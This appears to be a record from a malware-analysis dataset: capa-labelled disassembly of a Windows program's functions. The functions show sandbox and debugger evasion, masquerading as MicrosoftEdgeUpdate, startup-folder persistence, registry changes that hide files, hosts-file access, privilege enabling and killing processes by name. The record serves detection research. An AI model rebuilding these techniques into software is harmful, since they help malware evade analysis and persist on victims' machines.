joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140003390
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x398]
sub rsp, 0x490
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp + 0x380], rax
lea rcx, str.vmware.exe
call fcn.140005af4
xor edi, edi
test al, al
jne 0x1400035f3
lea rcx, str.vmware_vmx.exe
call fcn.140005af4
test al, al
jne 0x1400035f3
lea rcx, str.vboxservice.exe
call fcn.140005af4
test al, al
jne 0x1400035f3
lea rcx, str.vboxtray.exe
call fcn.140005af4
test al, al
jne 0x1400035f3
call fcn.1400046c8
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x14000342a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400011e8
mov esi, 0x104
lea rdx, [rbp + 0x170]
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000345c
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x140003463
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
call fcn.14000d15c
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001b778
test eax, eax
je 0x140003579
lea rcx, [rsp + 0x20]
call fcn.1400057fc
cmp qword [rsp + 0x38], 8
jb 0x1400034ac
mov rcx, qword [rsp + 0x20]
call fcn.140008180
lea rsi, [0x1400480e0]
mov rcx, rsi
call fcn.1400053dc
lea rdx, str.MicrosoftEdgeUpdate
lea rcx, [rsp + 0x20]
mov r8d, 0x13
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.1400020dc
cmp byte [0x1400480e0], dil
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jne 0x140003506
mov rbx, rdi
jmp 0x14000350f
inc rbx
cmp byte [rsi + rbx], dil
jne 0x140003506
lea rcx, [rsp + 0x40]
mov r8, rbx
mov rdx, rsi
call fcn.140001fdc
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.140005548
cmp qword [rsp + 0x58], 0x10
jb 0x140003540
mov rcx, qword [rsp + 0x40]
call fcn.140008180
cmp qword [rsp + 0x38], 8
mov qword [rsp + 0x58], 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jb 0x140003565
mov rcx, qword [rsp + 0x20]
call fcn.140008180
call fcn.1400051d0
call fcn.140001b18
test eax, eax
jne 0x140003579
call fcn.140003254
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001b778
test eax, eax
jne 0x1400035ea
lea r8, [0x140029000]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x1400035c7
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400035c7
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
lea rcx, [0x1400481f0]
call fcn.1400053dc
call fcn.14000806c
mov qword [0x1400480d8], rax
call fcn.140006a60
call fcn.140003254
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400044f4
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x140004548
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140004595
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140004544
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.14000c1e0
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x1400045ac
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edi, edi
or rsi, 0xffffffffffffffff
mov qword [r11 - 0x20], 7
mov qword [r11 - 0x28], rdi
mov word [rsp + 0x20], di
mov rbx, rcx
cmp word [rdx], di
jne 0x1400045ef
mov r8d, edi
jmp 0x1400045fc
mov r8, rsi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400045f2
lea rcx, [rsp + 0x20]
call fcn.1400020dc
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x140004684
mov r11, qword [rsp + 0x30]
cmp qword [rax + 0x18], 8
mov r10, qword [rax + 0x10]
jb 0x140004624
mov rdx, qword [rax]
jmp 0x140004627
mov rdx, rax
cmp qword [rsp + 0x38], 8
lea r8, [rsp + 0x20]
mov r9, r10
cmovae r8, qword [rsp + 0x20]
cmp r11, r10
cmovb r9, r11
test r9, r9
jmp 0x14000465b
movzx ecx, word [rdx]
cmp word [r8], cx
jne 0x1400046b3
add r8, 2
add rdx, 2
dec r9
jne 0x140004647
mov ecx, edi
movsxd rdx, ecx
cmp r11, r10
mov ecx, edi
setne cl
cmp r11, r10
cmovb ecx, esi
test rdx, rdx
cmovne ecx, edx
test ecx, ecx
je 0x1400046bc
add rax, 0x20
cmp rax, qword [rbx + 8]
jne 0x140004614
cmp qword [rsp + 0x38], 8
jb 0x140004696
mov rcx, qword [rsp + 0x20]
call fcn.140008180
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000c100
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x14000465f
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400051d0
Capabilities:
Get token privileges

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp - 0x10], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rbp - 0x18]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x1400052a4
mov rcx, qword [rbp - 0x18]
and dword [rbp - 0x20], 0
xor r9d, r9d
lea rax, [rbp - 0x20]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rbp - 0x20]
call fcn.140008158
mov r9d, dword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
mov rbx, rax
lea rax, [rbp - 0x20]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005292
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140005273
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x140005260
and qword [rsp + 0x28], 0
mov r9d, dword [rbp - 0x20]
mov rcx, qword [rbp - 0x18]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rbp - 0x18]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.140008180
mov rcx, qword [rbp - 0x10]
xor rcx, rsp
call fcn.14000c100
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret

Function at 0x1400052bc
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x14000537f
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000c100
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x1400053dc
Capabilities:
Create directory
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
mov rbx, rcx
lea rcx, [rsp + 0x31]
lea r8d, [rdx + 0x22]
mov byte [rsp + 0x30], 0
call fcn.14000fc50
lea rcx, [rsp + 0x30]
call fcn.1400052bc
xor r9d, r9d
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x140029004]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x140029004]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, str..exe
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000c100
add rsp, 0x60
pop rbx
ret
Function at 0x140005548
Capabilities:
Create shortcut via ishelllink
Get common file path
Get startup folder

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x228]
sub rsp, 0x310
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.140005494
nop
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea esi, [r9 + 7]
mov edx, esi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rsp + 0x48], rsi
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
cmp word [rbp - 0x10], bx
jne 0x1400055cd
mov r8d, ebx
jmp 0x1400055df
lea rax, [rbp - 0x10]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x1400055d5
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.1400020dc
nop
lea r8, [0x14002901c]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000a500
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000a54c
nop
lea r8, str..lnk
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000a500
nop
cmp qword [rbp - 0x78], 8
jb 0x14000563b
mov rcx, qword [rsp + 0x70]
call fcn.140008180
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x80], rbx
mov word [rsp + 0x70], bx
cmp qword [rsp + 0x68], 8
jb 0x14000565a
mov rcx, qword [rsp + 0x50]
call fcn.140008180
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov word [rsp + 0x50], bx
cmp qword [rsp + 0x48], 8
jb 0x14000567b
mov rcx, qword [rsp + 0x30]
call fcn.140008180
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
mov qword [rbp - 0x68], rbx
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x14002bc50]
mov edi, 1
mov r8d, edi
xor edx, edx
lea rcx, [0x140023570]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x14000571f
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov qword [rbp - 0x60], rbx
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
lea r8, [rbp - 0x60]
lea rdx, [0x14002ba80]
call qword [rax]
test eax, eax
js 0x140005715
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
mov r8d, edi
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
cmp qword [rbp - 0x40], 8
jb 0x140005736
mov rcx, qword [rbp - 0x58]
call fcn.140008180
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
cmp qword [rbp - 0x20], 8
jb 0x140005752
mov rcx, qword [rbp - 0x38]
call fcn.140008180
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000c100
mov rbx, qword [rsp + 0x340]
add rsp, 0x310
pop rdi
pop rsi
pop rbp
ret
Function at 0x140005774
Capabilities:
Set registry value

Disassembly:
sub rsp, 0x58
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
and dword [rsp + 0x38], 0
lea rax, [rsp + 0x30]
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionExplorerAdvanced
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x1400057ea
mov rcx, qword [rsp + 0x30]
lea r9d, [rax + 4]
lea rax, [rsp + 0x38]
mov dword [rsp + 0x28], r9d
lea rdx, str.Hidden
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000c100
add rsp, 0x58
ret
Function at 0x140005af4
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140005b33
xor al, al
jmp 0x140005b83
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140005b78
jmp 0x140005b62
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000cfe8
test eax, eax
je 0x140005b76
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005b51
jmp 0x140005b78
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000c100
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x140005ba8
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp + 0x198], rax
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140005bf4
xor eax, eax
jmp 0x140005ccf
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140005cbc
lea rdx, str.explorer.exe
lea rcx, [rsp + 0x5c]
call fcn.14001b778
test eax, eax
jne 0x140005cae
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140005cae
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x140005ca5
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x140005ca5
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005c1e
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.14000c100
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140005cf8
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140005dbb
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140005dae
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140005d70
add rax, 2
test r8d, r8d
jne 0x140005d5a
test ecx, ecx
jne 0x140005da0
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140005da0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140005d4f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000c100
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400060e0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x140006153
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140006147
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400020dc
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140001dfc
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14000c100
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret

Function at 0x14000806c
Capabilities:
Get file size
Read file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rsp + 0x48], rax
xor ebx, ebx
lea rcx, [0x1400481f0]
xor r9d, r9d
mov qword [rsp + 0x30], rbx
lea r8d, [rbx + 7]
mov edx, 0x80000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 3
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x140008131
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x40], eax
lea ecx, [rax + 1]
call fcn.140008158
mov rdi, rax
test rax, rax
je 0x140008123
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x14000811a
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rdi
mov rcx, rsi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadFile]
mov eax, dword [rsp + 0x40]
mov dword [0x1400481e8], eax
mov byte [rax + rdi], bl
mov rcx, rsi
mov rbx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x140008137
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov rax, rbx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.14000c100
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x50
pop rdi
ret
Function at 0x140008a04
Capabilities:
Write file on windows

Disassembly:
mov rax, rsp
push rbp
push rdi
push r12
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0x90
mov qword [rbp - 0x19], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov qword [rax + 0x20], rsi
mov rax, qword [0x1400326c0]
xor rax, rsp
mov qword [rbp + 0x27], rax
movzx r14d, dx
mov rdi, rcx
mov ebx, 0xffff
xor esi, esi
cmp bx, dx
jne 0x140008a53
movzx eax, si
jmp 0x140008c20
mov rax, qword [rcx + 0x40]
mov r8, qword [rax]
test r8, r8
je 0x140008a90
mov rax, qword [rcx + 0x58]
movsxd r9, dword [rax]
lea rdx, [r8 + r9*2]
cmp r8, rdx
jae 0x140008a90
lea ecx, [r9 - 1]
mov dword [rax], ecx
mov rdx, qword [rdi + 0x40]
mov r8, qword [rdx]
lea rcx, [r8 + 2]
mov qword [rdx], rcx
mov word [r8], r14w
movzx eax, r14w
jmp 0x140008c20
cmp qword [rcx + 0x90], rsi
je 0x140008c1d
mov rdx, qword [rcx + 0x18]
lea rax, [rcx + 0x80]
cmp qword [rdx], rax
jne 0x140008acb
mov rcx, qword [rcx + 0x70]
mov rax, qword [rdi + 0x68]
mov qword [rdx], rax
mov rax, qword [rdi + 0x38]
mov qword [rax], rcx
sub rcx, rcx
sar rcx, 1
mov rax, qword [rdi + 0x50]
mov dword [rax], ecx
cmp qword [rdi + 0x78], rsi
jne 0x140008af3
mov rdx, qword [rdi + 0x90]
movzx ecx, r14w
call fcn.14000d5f0
cmp ax, bx
je 0x140008c1d
movzx ebx, r14w
jmp 0x140008c1d
mov word [rbp - 1], r14w
mov qword [rbp + 0x1f], 0xf
mov qword [rbp + 0x17], rsi
mov byte [rbp + 7], sil
xor r8d, r8d
lea edx, [r8 + 8]
lea rcx, [rbp + 7]
call fcn.140009fa0
nop
lea rdx, [rbp + 7]
cmp qword [rbp + 0x1f], 0x10
cmovae rdx, qword [rbp + 7]
lea r8, [rbp + 7]
cmovae r8, qword [rbp + 7]
mov rcx, qword [rdi + 0x78]
mov r10, qword [rcx]
add rdx, qword [rbp + 0x17]
lea rax, [rbp - 9]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], r8
lea rax, [rbp - 0x11]
mov qword [rsp + 0x20], rax
lea r9, [rbp + 1]
lea r8, [rbp - 1]
lea rdx, [rdi + 0x84]
call qword [r10 + 0x38]
test eax, eax
js 0x140008c0d
cmp eax, 1
jg 0x140008bef
lea rax, [rbp + 7]
mov r9, qword [rbp + 7]
mov r10, qword [rbp + 0x1f]
cmp r10, 0x10
cmovae rax, r9
mov r15, qword [rbp - 9]
sub r15, rax
je 0x140008bb9
lea rcx, [rbp + 7]
cmp r10, 0x10
cmovae rcx, r9
mov r9, qword [rdi + 0x90]
mov r8, r15
mov edx, 1
call fcn.14000efa4
cmp r15, rax
jne 0x140008c0d
mov byte [rdi + 0x82], 1
lea rax, [rbp - 1]
cmp qword [rbp - 0x11], rax
jne 0x140008c09
test r15, r15
jne 0x140008b19
cmp qword [rbp + 0x17], 0x20
jae 0x140008c0d
xor r8d, r8d
lea edx, [r15 + 8]
lea rcx, [rbp + 7]
call fcn.140002d0c
jmp 0x140008b19
cmp eax, 3
jne 0x140008c0d
mov rdx, qword [rdi + 0x90]
movzx ecx, word [rbp - 1]
call fcn.14000d5f0
cmp ax, bx
je 0x140008c0d
movzx ebx, r14w
cmp qword [rbp + 0x1f], 0x10
jb 0x140008c1d
mov rcx, qword [rbp + 7]
call fcn.140008180
movzx eax, bx
mov rcx, qword [rbp + 0x27]
xor rcx, rsp
call fcn.14000c100
lea r11, [rsp + 0x90]
mov rbx, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r12
pop rdi
pop rbp
ret